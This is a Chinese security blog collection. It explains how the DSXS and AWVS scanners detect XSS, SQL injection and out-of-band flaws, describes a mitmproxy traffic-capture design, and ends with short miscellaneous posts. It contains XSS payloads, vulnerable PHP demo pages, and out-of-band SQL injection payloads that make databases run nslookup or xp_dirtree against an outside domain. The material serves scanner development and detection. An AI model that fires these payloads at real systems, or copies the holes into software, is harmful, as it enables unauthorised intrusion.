静态xss检测

静态xss检测

一)前言

  静态xss检测是啥?静态xss检测相对区别于基于webkit的xss检测。
  完成依靠输出点情况的检测来判断是否存在xss漏洞。那么xss漏洞用webkit(http://blog.wils0n.cn/archives/18/)来检查就好了,为什么还要加上静态xss检测呢??
  个人认为是因为基于webkit的xss检测有的时候可能检查不到:

  1.script标签内多重闭合的情况。
  比如之前weibo发现一处xss是这样的:

  <script type="text/javascript">
         $('#qrcode_area').qrcode({
             //render:'table',
             width:300,
             height:300,
             text:"xxxxx{$输出点}"
         });
 </script>

  如果你的domxss漏洞检测payload没有这个:"});alert(1111);// 那这个就漏描了

  2.过滤了你的payload的某些关键字。
  比如payload为

<script>alert(111)<script>

  过滤了script,但是其它标签没有过滤,比如

 <img src=1 onerror=alert(1)>

  当然如果你的payload够丰富的话也可以。。。。

二)发现牛逼的DSXS

  这天突然发现自己的静态检查的逻辑出现误报了。原因是xss输出点在页面中多次出现。。比如http://www.sogou.com/sogou?query=wilson2333(89处输出点),想来想去没有好的解决办法。心中mmp。。。
  一般遇到解决不了的问题,我选择多去看别人的代码,打开全世界最大同性交友平台github,搜索xss scan,看了几个工程,就发现有一个工程DSXS(https://github.com/stamparm/DSXS/blob/master/dsxs.py)特别吸引人的注意力,这款由sqlmap原作者写的xss扫描器,检查思路巧妙,很多漂亮的正则表达规则,让人佩服。
  不过作者强行装逼,说:"Damn Small XSS Scanner (DSXS) is a fully functional Cross-site scripting vulnerability scanner (supporting GET and POST parameters) written in under 100 lines of code." 一定把代码写到99行,导致代码可读性极差!心中又一次mmp....

三)Damn Small XSS Scanner (DSXS)的检查逻辑

  硬着头皮把代码看下来,还是学到很多的。此外感谢@lightless解读一个点。
  首先DSXS会有一个domxss的正则匹配

DOM_PATTERNS = (                                                                            # each (dom pattern) item consists of r"recognition regex"
  r"(?s)<script[^>]*>[^<]*?(var|\n)\s*(\w+)\s*=[^;]*(document\.(location|URL|documentURI)|location\.(href|search)|window\.location)[^;]*;[^<]*(document\.write(ln)?\(|\.innerHTML\s*=|eval\(|setTimeout\(|setInterval\(|location\.(replace|assign)\(|setAttribute\()[^;]*\2.*?</script>",
  r"(?s)<script[^>]*>[^<]*?(document\.write\(|\.innerHTML\s*=|eval\(|setTimeout\(|setInterval\(|location\.(replace|assign)\(|setAttribute\()[^;]*(document\.(location|URL|documentURI)|location\.(href|search)|window\.location).*?</script>",
)

  不存在domxss漏洞再继续做下一步的xss漏洞检测。

  1.生成测试payload,并发包。
  测试payload有两种,一种是大范围的测试(''', '"', '>', '<', ';') 另外还有一种小范围的测试,('<', '>')。
  生成测试payload,payload前面和后面都会加上随机生成的prefix和suffix,它们两个用于正则更好的匹配到输出点的内容。

  取一个例子:

payload = rfzxg";'><bwhsj

  2.匹配全部输出点
  巧妙使用正则表达式:

re.finditer("rfzxg([^ ]+?)bwhsj")

  匹配全部输出点。  这里我们会得到输出点输出的内容,代码中变量为sample.group(0) [其中我们得到的内容就是rfzxg";'><bwhsj]。

  3.判断xss输出点属于什么类型
  xss输出点DSXS分为9种类型:

  \A[^<>]*%(chars)s[^<>]*\Z  # 纯文本的输出,无标签。开头不是<>结尾也不是<>。左右尖号没过滤就算xss漏洞
  <!--[^>]*%(chars)s|%(chars)s[^<]*--> # 注释里面输出。左右尖号没过滤就算xss漏洞
  (?s)<script[^>]*>[^<]*?'[^<']*%(chars)s|%(chars)s[^<']*'[^<]*</script> # script里面输出,并前面为单引号。单引号和封号没过滤就算xss漏洞
  (?s)<script[^>]*>[^<]*?"[^<"]*%(chars)s|%(chars)s[^<"]*"[^<]*</script> # script里面输出,并前面为双引号。双引号和封号没过滤就算xss漏洞
  (?s)<script[^>]*>[^<]*?%(chars)s|%(chars)s[^<]*</script> # script里面输出,前面无双引号和单引号。封号没过滤就算xss漏洞
  >[^<]*%(chars)s[^<]*(<|\Z) # 标签外面输出。左右尖号没过滤就算xss漏洞
  <[^>]*'[^>']*%(chars)s[^>']*'[^>]*>,# 标签里面value输出,并前面为单引号。单引号没过滤就算xss漏洞
  <[^>]*"[^>"]*%(chars)s[^>"]*"[^>]*># 标签里面value输出,并前面为双引号。双引号没过滤就算xss漏洞
  <[^>]*%(chars)s[^>]*># 标签里面输出,前面无双引号和单引号。就算一个漏洞

  chars关键字根据得到sample.group(0)[其中我们得到的内容就是rfzxg";'><bwhsj],生成判断位置的完整规则正则。

  4.确定xss漏洞存在
  对输出内容进行sample.group(1)[就是";'><]进行需要的关键字匹配。如果需要的关键字没有被过滤就认为是一个反射xss漏洞。比如类型5:script里面存在输出,前面无双引号和单引号,封号没过滤就算xss漏洞。

局限和误报

  使用它的代码进行xss扫描时候发现的局限性和误报都给作者提issues了(https://github.com/stamparm/DSXS/issues),不过作者貌似没时间理我 - -.....
  1.不支持在 find xss in href
egg:

<?php
$input= str_replace("\"", "&quot;" ,$_GET['xss']);
$input=str_replace(">","&lt;",$input);
$input=str_replace("<","&gt;",$input);
echo '<a href="';
print($input);
echo '">click<a/>';
?>

  http://127.0.0.1/2.php?xss=javascript:alert(1) when click it will has xss vuls,but DSXS can't find this。

  2.误报
  大部分误报是因为9种类型xss输出判断错误问题,导致误报。比如:

  demo.php:
  egg:

</main><script>
  var jobs = {
      log: {
          pj: 'jobs-social',
          qid: '',
          pn: 0
      },
      common: {
       query:'',
      cookieStr: 'iurl',
       selected : {"city":"<?php echo str_replace("\"", "\\\"" ,$_GET['xss']);?>"}
     }
  };
</script>

  这种把script标签的双引号内输出判断成这种把script标签的当引号内输出的,导致误报。不过这种定位标签情况太多,正则的确也难写。。@lightless师傅建议优化正则为下面内容可以解决该误报:

<script[^>]*>[^<]*?'[^<'\"]*%(chars)s|%(chars)s[^<'\"]*'[^<]*</script>
<script[^>]*>[^<]*?"[^<"\']*%(chars)s|%(chars)s[^<"\']*"[^<]*</script>

   但是总的来说,DSXS扫描器它误报率低,扫描准确,是一款体积小而优秀的xss扫描器。


  更新:
  作者回复我的issues。

   1.对于find xss in href,作者不作支持它。
   2.对于出现的几个误报的情况,作者优化了标签里面value输出的正则和script里面输出正则。
     2.1.正则优化让标签里面输出和标签里面value输出这两个正则区分清楚,让扫描无误报。
     2.2.script里面输出正则也做了优化。
  

  具体可看:https://github.com/stamparm/DSXS/issues/5

对AWVS一次简单分析

一)前言

  最近对awvs进行一些简单研究,众所周知awvs的非常好用的扫描器。强大的爬扫能力让很多人很喜欢他,不过强大的话也对应有它的缺点,第一,体积庞大,扫描耗时间太久;第二,无法跨平台,只能让windows来用。不过这个几个缺点对这个牛逼的扫描器貌似也没啥影响,还是很多人爱用。
  不过的扫描器来说核心还是规则,我们还是可以重点分析一下awvs的扫描规则。

二)咋分析?

1.搭建环境,抓流量进行分析

  一个web狗,不会分析二进制。所以我只能抓包来分析了。
  搭建一个漏洞url地址(这里只要一个url就够了,多了payload就太多不好分析了)用burp来抓,设置好burp的代理地址(proxy-options-proxy listeners-add)。在awvs中在设置一下扫描器的使用的代理地址为burp就可以开心的抓包了。
1.png

  简单的抓包,可以大体的看成来awvs都做哪些扫描,而且我们可以找到一些马上可以用规则,比如破壳漏洞,文件读取,备份文件扫描,敏感文件扫描,ssrf,头注入等等。

2.script源码分析和调试

  但是分析了一波流量,还是感觉很多payload找不到规则(比如sql注入的逻辑,jboss的漏洞匹配规则等等)。于是看了一下awvs的安装目录发现有一个data/scripts目录,里面有很多加密的文件,不用说了一定是扫描规则。

  于是开始在网上找有没有人做过这个的相关破解工作,发现还真有:
http://blog.oowoodone.com/archives/2016/03/30/wvs_script_decode/
http://gv7.me/articles/2017/Writing-AWVS-scripts-to-detect-Web-Services/
  问了一下博主要了一下规则,他就直接把规则同步github
  https://github.com/c0ny1/awvs_script_decode
  这种“前人种树,后人乘凉”的感觉还是很舒服的,所以自己以后也要多种种”树“.

  打开规则一开全是类似javascript的脚本,直接看还是有点难懂。如果最好能运行并调试起来就美滋滋了。去搜索了一下官方的关于script的文档发现,awvs提供了编写script脚本的接口。

  http://www.acunetix.com/download/tools/WVSSDK.zip

  解压以后里面有一个使用文档,根据文档就明白很多了。

  根据文档我们可以知道:

    1.awvs提供了wvs scripting程序给我们进行自定义的脚本编写,我们可以用它来对这些脚本进行调试,(只需要把这个文件拷贝到awvs的安装目录即可)。
    2.awvs 提供了script可用api,在https://www.acunetix.com/resources/sdk/种可以进行查看。
    3.script的几个脚本目录是根据扫描的特点进行分类的:
        3.1.includes 头文件,用于常量声明,生产随机数 和md5加密等等,很多扫描的匹配规则会在这里定于这个文件
        3.2.network 主机的漏洞扫描 个人感觉非重点 比较avws是搞web扫描出名的。
        3.3.PerFile 在文件名上的加payload测试,比如根据文件名扫备份文件扫描,破壳漏洞扫描等,个人理解就是根据uri进行一些参数扫描
        3.4.PerFolder 根据目录型的url 进行一些扫描 比如敏感目录泄漏扫描,敏感文件泄漏扫描,git泄露扫描等。
        3.5.PerScheme awvs将有参数传递的url称为Scheme,所以这个目录就是在各个参数传入点设置扫描payload进行对应的漏洞测试。比如命令执行漏洞,代码执行漏洞,xss漏洞扫描,sql漏洞扫描等等。(我们可以在这个目录中学到很多规则和漏洞扫描姿势。)
        3.6.PerServer 一般用于测试第三方中间件,包括指纹识别,只最开始扫描的时候进行一次。比如Flask_Debug 打开,jboss各种漏洞,tomcat各种漏洞等。
        3.7 WebApps 第三方cms漏洞扫描。比如wordpress的漏洞扫描,joolma漏洞扫描等等

  下面以/Scripts/PerFile/Bash_RCE.script作为一个调试案例:
  使用wvs scripting打开/Scripts/PerFile/Bash_RCE.script文件。
2.png

  点击小齿轮,设置扫描目标:
3.png

  这里比较蛋疼就是不能直接输入扫描的目标(反正我没找到),需要去load一下awvs爬虫保存的.cwl文件。我们在awvs上简单爬一下扫描的目标,然后保存成xxx.cwl。再通过wvs scripting去load这个文件。
4.png

  最后是运行,这里具体根据script来确定set target的什么类型,比如Bash_RCE.script,中用了var file = getCurrentFile(),你就需要set file target,最后run per file。(当然还有其他的就不在举例子了)
5.png
6.png

  到这里我们就可以跑起每个脚本进行运行调试了,能跑起来,我们就可以去logInfo一些东西,这样去看脚本都做哪些操作就简单多了。

  tip:那么我们可以一个一个目录的去分析每个脚本,当然也有一个小技巧去提前分析高危的扫描脚本。那就是先用awvs去扫一下他的测试站点:http://testphp.vulnweb.com/ ,awvs会告诉你是哪个脚本发现的漏洞和且匹配到的内容,这样我们就挑选自己最先想研究的漏洞来看。(不过要注意这个testphp测试站点,awvs默认启动了AcuSensor Technology技术
  https://www.acunetix.com/vulnerability-scanner/acusensor-technology/
  如果你要用它做测试站点的话,代码逻辑会走到acusensor对应的代码)
7.png

三)从awvs学到啥

1.扫描方式

  awvs在扫描前,都会对url进行的详细的分类和参数的解析。常见为:file,folder,scheme等类型。几乎每种类型的url都会有一个目录对他进行专门的漏洞扫描。
  在扫描前对url进行比较细致的分类是可以学习一波的,特别是对scheme类型的url进行参数解析。大部分的扫描都会有这部分的参数解析,不过一般都是类似于(a=b&c=1的这种解析),但是如果参数是json格式的(b=1&c={"uname":"wilson","id":"23333"}) ,很多扫描器不支持,不过大家可以参加一下sqlmap的json格式解析(walk方法,相关git地址)
  至于每种类型的url都会有一个目录对它进行专门的漏洞扫描方式的话,你也可能选择用一个脚本去处理一类漏洞类型,然后对这个漏洞类型可能在哪种url类型出现进行测试。

2.规则,大把大把的规则

  看到代码最大的好处就是可以看到他的匹配正则了,比如敏感部署文件备份匹配规则,任意文件读取规则,sql报错注入关键字匹配,命令执行等等。
8.png
9.png
10.png
  更多规则见脚本。

3.AcuMonitor 技术

  https://www.acunetix.com/vulnerability-scanner/acumonitor-technology/
这东西简单理解就是和你的dnslong一样的,适用于扫描无回显的漏洞,比如:

Blind Server-side XML/SOAP Injection
Blind XSS (also referred to as Delayed XSS)
Host Header Attack
Out-of-band Remote Code Execution (OOB RCE)
Out-of-band SQL Injection (OOB SQLi)
SMTP Header Injection
Server-side Request Forgery (SSRF)
XML External Entity Injection (XXE)

  我们可以在脚本中找到他们的规则:
11.png
12.png

  那么重点是怎么把漏洞和对应url关联??
  我的处理是让漏洞服务器发起http请求,将urlid带到uri中,比如
  http://blog.wils0n.cn/urlid/param/cveid
  根据这uri中的urlid进行定位url参数。但是这样会还是会有一些漏扫,比如ssrf只出现在http的host中,uri并不会带入请求。
  所以比较准确一个是使用dns来做。例如:nslookup dns.urlid-param-cveid.wils0n.cn,在服务端上根据urlid-param-cveid来处理漏洞。

  关于dnslog service的搭建:

使用方法一)一个服务器
工具:https://github.com/Wyc0/DNSLog/blob/master/dns.py(简单,一个脚本就够了)
触发方法:nslookup urlid-param-cveid.wils0n.cn 服务器的ip
这种方法必须指定后面的ip。


使用方法二)一个服务器加一个域名:
域名设置(请教了@izy和@凤凰)
用阿里云的为例子:
1.设置一个a记录。ns1.wils0n.cn --->你的服务ip假如 118.11.11.11
2.设置一个ns记录。 dns.wils0n.cn --->ns1.wils0n.cn 

存在的问题:

问题1)没有响应包回复,导致请求会一直发,可以参考https://github.com/BugScanTeam/DNSLog/blob/master/dnslog/zoneresolver.py 进行改进一下。

问题2) url跳转扫描可能会导致误报的情况出现,由于dns请求会绕过很多跳,所以根据扫描ip来判断是无法做到,暂时不知道怎么解决。。。不过误报会比漏报好一些

4.awvs的网站目录和文件扫描思路

  很多web扫描器的开始都是对url进行网站目录和文件扫描,然后再结合爬虫一起爬一下。
  因为大家的想法都是:“不管有没有漏洞,我先扫一遍目录再说”,所以网上这种爬目录文件的工具极其多。
  看了一下网上的工具的逻辑大概是:

1.取一个不可能存在的url,判断是不是存在404的状态码。
  存在的404话,下面的判断只要根据状态码来判断是否存在就好了。
  不存在的话走下面2的逻辑。

2.获取该不存在url的相应内容,作为一个404不存在的页面标示,接下去的扫描如果获取到页面不和这个404表示一样的就认为是200的存在页面。

  这个思路在大部分情况下面用。但是有些站点,你会发现扫到一堆200的误报。分析为什么:

  在逻辑1中,404的判断取一个不存在的url是不够的,你需要取多个,因为有的站点xxxx.php是404,而xxxx.jsp就变成200了。
  在逻辑2中,有种情况是这个404的页面是会不断变化的,比如淘宝的404页面中,下面会出现不同的链接商品推荐。这样就会产生一大堆的误报。

  那么我们分析一下awvs的目录和文件扫描姿势:(Backup_File.script,Sensitive_Files.script, Possible_Sensitive_Directories ,Possible_Sensitive_Files )

第一)在Backup_File和Sensitive_Files中看到能用正则匹配的,先用规则来匹配,这个比较准确,误报低。
第二) Backup_File中我们发现,awvs的再解决逻辑2中出现的问题时候,用了一个小的tip:在发现页面内容和404标示不一样的时候,再去取了一个不存在的url2获取新的404标示,然后判断两个标示是不是一样,一样的话说明这个200扫描没用问题,从而去掉这个误报。
第三) 在Possible_Sensitive_Directories ,Possible_Sensitive_Files中,我们发现awvs去掉了逻辑2。只对存在404的url进行目录和文件扫描。而目录扫描和文件扫描的逻辑不一样的,我们发现当一个文件存在时候返回时200,但是当一个目录存在的时候确是302跳转,我们需要匹配http头的Location进行判断。那么网上那些扫描目录工具不就2b了么?
这里其实要说到一个坑,这些工具都是使用了python的requests库,这个库默认是会进行url跟随跳转的。所以他们没有必要区分扫描目录和文件扫描。如果你把requests中设置了allow_redirects=False,那你就要去自己匹配http头的Location关键字。

  个人感觉扫目录逻辑走第一和第三就可以了。

5.sql注入检查

  可能很多人都会用sqlmap来做注入检查,但是sqlmap还是有点大,扫描payload比较多,扫描时间长。
awvs的sql注入也可以参考一下:

1.基于错误返回信息的关键字直接判断为存在sql注入漏洞。(Sql_Injection.script)

  主要匹配的关键字有:

You have an error in your SQL syntax|The database has encountered a problem|database error|unknown column\\s|SQL syntax.*MySQL|Warning.*mysql_.*|(Incorrect\ssyntax\snear\s'[^']*')|.....(很多大家去对应脚本里面找)

  这样匹配的话,还是比较准确的,但是有的时候会有误报。

2.盲注入(Blind_Sql_Injection.script)

  2.1 bool型的盲注入
  我把这部分的扫描逻辑理了一下,大概是这样的:

1.判断参数是不是有效的,即:输入和原来的值不一样的参数时候,页面(过滤过的,过滤了html标签,当前输入值,原始输入值)是否一样
2.如果参数有效,就用 and payload 判断是不是存在漏洞(多个判断)
3.如果参数无效,就用 or payload 判断是不是存在漏洞(多个判断)

我参考以后,发现它会有一些漏扫描,比如 数字型等带有单引号的注入。
然后我决定优化一下,并去掉第三步的验证。因为一般都无有效参数的,无效的参数一般不做检查了,而且or注入可能会导致一些误报等。

  2.2.基于时间盲注入
  原理很简单,然后数据库去sleep一段时间。payload对应脚本里面找,或者可以参考一下sqlmap的。

  然后就是注意各种闭合,比如: ', ", ), )), '), "), ')), ")), ;, 等等

  个人的实践告诉我,基于时间的注入检查是最准确的。如果你是甲方的话,基于时间盲注入应该是最适合你的了。因为你可以去监控mysql的慢日志或者异常日志去查询sleep登关键字来结合着一起发现sql注入漏洞,我在实践中是有用这种方法发现过一些比较隐蔽的sql注入的。

3.结合AcuMonitor盲打

  测试oracle的注入:

xxxx||UTL_INADDR.get_host_address('{DOMAIN}')

  PostgreSQL:

{ORIGVALUE};copy (select '') to program 'nslookup {DOMAIN}

  windows +mssql:

{ORIGVALUE};EXEC master..xp_dirtree '\\{DOMAIN}\' -- 

  同样,也要注意各种闭合。

6.xxe 优化

   xxe漏洞检测,改变Content-type头(text/xml,application/xml),可能会测出漏洞。

更多脚本还在分析

  .......

四)结尾

  很多挺好玩的漏洞扫描知识,因为文章篇幅和时间精力问题就没有进行更多分析了,大家可以自己去找自己感觉好用的script进行debug和逻辑分析。分析到好的思路也可以分享出来看看。

  请勿用本文提到的技术进行未授权的渗透测试,我们不负任何连带法律责任

  文章参考:
http://www.acunetix.com/
http://blog.oowoodone.com/archives/2016/03/30/wvs_script_decode/
http://gv7.me/articles/2017/Writing-AWVS-scripts-to-detect-Web-Services/

mitmproxy 代理流量

前言

  设置代理收集流量是很常见的漏洞扫描方法。很早之前@猪猪侠就有了https://github.com/ring04h/wyproxy 的思路。不得不说这是一种流量补充好方法,可以拿到爬虫爬不到的点。
  我一开始用的代理是mitmproxy1.8,代理同时就进行去重复和入数据库处理。这样出现的问题很明显:
  1.代理速度超级慢
  2.低版本的mitmproxy老是出现连接断开和证书错误的各种bug

解决

升级mitmproxy

  首先升级mitmproxy到2.0以上就解决了第二个问题,mitmproxy废弃了之前版本,直接用python3去写了mitmproxy的最新版本。
  因为不会python3,所以一直抵触去升级mitmproxy...升级以后非常稳定,证书设置过以后不会再有问题了,很稳定。现在看来还是得去接触新的技术,老的东西不维护难免会被淘汰。
  安装python3并安装mitmproxy模块:

wget https://www.python.org/ftp/python/3.6.3/Python-3.6.3.tgz
tar xvf Python-3.6.3.tgz
cd Python-3.6.3/
./configure --enable-optimizations
make -j8
sudo make altinstall
sudo python3.6 -m pip install mitmproxy

  这样mitmproxy就安装好了。
  再说一下http证书安装的问题。
  启动一个代理,加上--insecure。不然会出现https://github.com/mitmproxy/mitmproxy/issues/1608 这个问题。

mitmdump -p 8088 --insecure

  找到一个设置证书的快方法,挂上代理,然后直接访问http://mitm.it/ 根据提醒就可以安装好https的证书了。

代理和数据处理分离

  第二个问题参考了https://github.com/5up3rc/NagaScan/tree/master/proxy 设计理念。他采用了代理和数据处理分离的方法让扫描速度变快。

mitmproxy代理程序只做一件事情就是把每一条记录流量直接记录到文件中
数据处理程序处理最新生成日志,进行url白名单,去重复等数据处理

mitmproxy代理代码:

# -*- coding: utf-8 -*-

""" Capture mitmproxy Request Logs into a file

This module is used to capture mitmproxy Requests and write to a file.

Usage:
  mitmdump -p 443 -s "proxy_mitmproxy.py logs.txt"  --insecure

"""

import sys


def get_request_info(flow, item):
  request_item = ""
  try:
      if item == "port" and flow.request.port:
          request_item = flow.request.port
  except Exception:
      pass
  try:
      if item == "protocol" and flow.request.scheme:
          request_item = flow.request.scheme
  except Exception:
      pass
  try:
      if item == "path" and flow.request.path:
          request_item = flow.request.path
  except Exception:
      pass
  try:
      if item == "host" and flow.request.host:
          request_item = flow.request.host
  except Exception:
      pass
  try:
      if item == "method" and flow.request.method:
          request_item = flow.request.method
  except Exception:
      pass
  try:
      if item == "post_data" and flow.request.content:
          request_item = flow.request.content.decode()
  except Exception:
      pass

  try:
      if item == "cookie" and flow.request.headers['cookie']:
          request_item = flow.request.headers['cookie']
  except Exception:
      pass
  try:
      if item == "referer" and flow.request.headers['referer']:
          request_item = flow.request.headers['referer']
  except Exception:
      pass

  try:
      if item == "auth" and flow.request.headers['Authorization']:
          request_item = flow.request.headers['Authorization']
  except Exception:
      pass
  return request_item


def request(flow):
  request = {}
  request['protocol'] = get_request_info(flow, 'protocol')
  request['host'] = get_request_info(flow, 'host')
  request['path'] = get_request_info(flow, 'path')
  request['port'] = get_request_info(flow, 'port')
  request['method'] = get_request_info(flow, 'method')
  request['cookie'] = get_request_info(flow, 'cookie')
  request['auth'] = get_request_info(flow, 'auth')
  request['referer'] = get_request_info(flow, 'referer')

  if request['method'] == "GET":
      request['post_data'] = ""
  else:
      request['post_data'] = get_request_info(flow, 'post_data')

  if int(request['port']) not in [80, 443]:
      url = "{}://{}:{}{}".format(request['protocol'], request['host'], request['port'], request['path'])
  else:
      url = "{}://{}{}".format(request['protocol'], request['host'], request['path'])

  content = chr(1).join([url, request['method'], request['post_data'],
                         request['cookie'], request['auth'], request['referer'], ])
  log_file_name = sys.argv[1]
  log_file = open(log_file_name, 'a')
  log_file.write("%s\n" % content)
  # for k, v in request.items():
  #     log_file.write("%s: %s\n"%(k,v))
  # log_file.write("======================================================\n\n\n")
  log_file.close()

启动的时候:

    mitmdump -p 443 -s "proxy_mitmproxy.py logs.txt"  --insecure

这样就把每一台数据记录到logs.txt中。

数据处理代码:
数据处理这边我用python进行类似tail的操作去对最新生成日志,进行url白名单,去重复等数据处理
代码:

class Tail():
  def __init__(self, file_name, callback=sys.stdout.write):
      self.file_name = file_name
      self.callback = callback

  def follow(self):
      try:
          with open(self.file_name) as f:
              f.seek(0, 2)
              while True:
                  line = f.readline()
                  if line:
                      self.callback(line)
                  time.sleep(0.1)
      except Exception, e:
          print '打开文件失败,囧,看看文件是不是不存在,或者权限有问题'
          print e
          
if __name__ == '__main__':
  log = Log("./logs/proxy.log")

  # 自己定义处理函数
  def test_tail(line):
      line = line.replace("\n", "")
      part = line.split('\x01')
      url = part[0]
      method = part[1]
      post_data = part[2]
      cookie = part[3]
      auth = part[4]
      referer = part[5]
      # print url
      print url, method, post_data, cookie, auth, referer
      # todo:进行url白名单,去重复等数据处理(代码太多,不贴了)

  py_tail1 = Tail('logs.txt', test_tail)
  py_tail1.follow()

结尾

  两个优化,代理速度起飞,你也快试试吧。

改版碎念

原因

blog改typecho了,emlog没有markdown的编辑器,写文章同步很蛋疼。

部分文章删除

迁移的时候删掉了一些没啥用的文章。发现自己的以前的文章写的都很中二。所以以后blog的标题就是中二的wilson。

另外还删掉了凤凰扫描器的相关文章还有git维护项目,很喜欢写扫描器,我还用golang写了一版凤凰扫描器来解决跨平台的各种蛋疼问题,而且golang的协程让扫描器扫得飞快。但是安全法规定不能传播扫描器,否则牢里见。这部分得扫描代码随缘在分享。

结尾

很久没写文章了,以后还是要经常写写笔记得。

python unicode str 常见一个小错误

>>> a=u"你好"
>>> a
u'\u4f60\u597d'
>>> str(a)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
UnicodeEncodeError: 'ascii' codec can't encode characters in position 0-1: ordinal not in range(128)
>>> import MySQLdb
>>> MySQLdb.escape_string(a)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
UnicodeEncodeError: 'ascii' codec can't encode characters in position 0-1: ordinal not in range(128)
>>> MySQLdb.escape_string(a.encode("utf8"))
'\xe4\xbd\xa0\xe5\xa5\xbd'

记录一下